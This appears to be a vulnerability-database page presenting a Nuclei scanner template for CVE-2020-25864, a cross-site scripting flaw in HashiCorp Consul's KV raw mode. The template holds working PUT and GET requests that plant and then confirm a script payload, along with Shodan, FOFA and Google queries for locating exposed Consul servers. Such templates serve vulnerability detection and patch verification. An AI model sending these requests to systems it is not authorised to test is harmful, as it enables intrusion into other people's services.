Vulners
Lucene search
HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 51 |
|---|---|---|---|---|
 | Consul -- Multiple vulnerabilities | 15 Apr 202100:00 | – | freebsd |
 | CVE-2020-25864 | 20 Apr 202113:07 | – | alpinelinux |
 | Astra Linux – Vulnerability in Consul | 19 Jun 202611:10 | – | astralinux |
 | Security Bulletin: Open Source Dependency Vulnerability | 15 May 202318:49 | – | ibm |
 | CVE-2020-25864 vulnerabilities | 20 Apr 202116:15 | – | cgr |
 | HashiCorp Consul and Consul Enterprise 跨站脚本漏洞 | 20 Apr 202100:00 | – | cnnvd |
 | Unspecified Vulnerability in HashiCorp Consul and Consul Enterprise | 22 Apr 202100:00 | – | cnvd |
 | CVE-2020-25864 | 20 Apr 202113:07 | – | cve |
 | CVE-2020-25864 | 20 Apr 202113:07 | – | cvelist |
 | CVE-2020-25864 | 20 Apr 202113:07 | – | debiancve |
10
id: CVE-2020-25864
info:
name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
author: c-sh0
severity: medium
description: |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-25864
cwe-id: CWE-79
epss-score: 0.06095
epss-percentile: 0.92545
cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
metadata:
max-request: 2
vendor: hashicorp
product: consul
shodan-query:
- http.title:"consul by hashicorp"
- cpe:"cpe:2.3:a:hashicorp:consul"
fofa-query: title="consul by hashicorp"
google-query: intitle:"consul by hashicorp"
tags: cve,cve2020,consul,xss,intrusive,hashicorp,vuln
http:
- raw:
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host: {{Hostname}}
<!DOCTYPE html><script>alert(document.domain)</script>
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- text/html
- type: word
part: body_2
words:
- <!DOCTYPE html><script>alert(document.domain)</script>
- type: status
status:
- 200
# digest: 490a004630440220612ddd6d82ee11f6e265b163759a3c6050ad1115d75b9341e69b8ff968ee23d70220472285aebb6ec81fa4430e717d621beabc0e1bcf17723a2ae53d6419f285726d:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 3.16.1
EPSS0.06095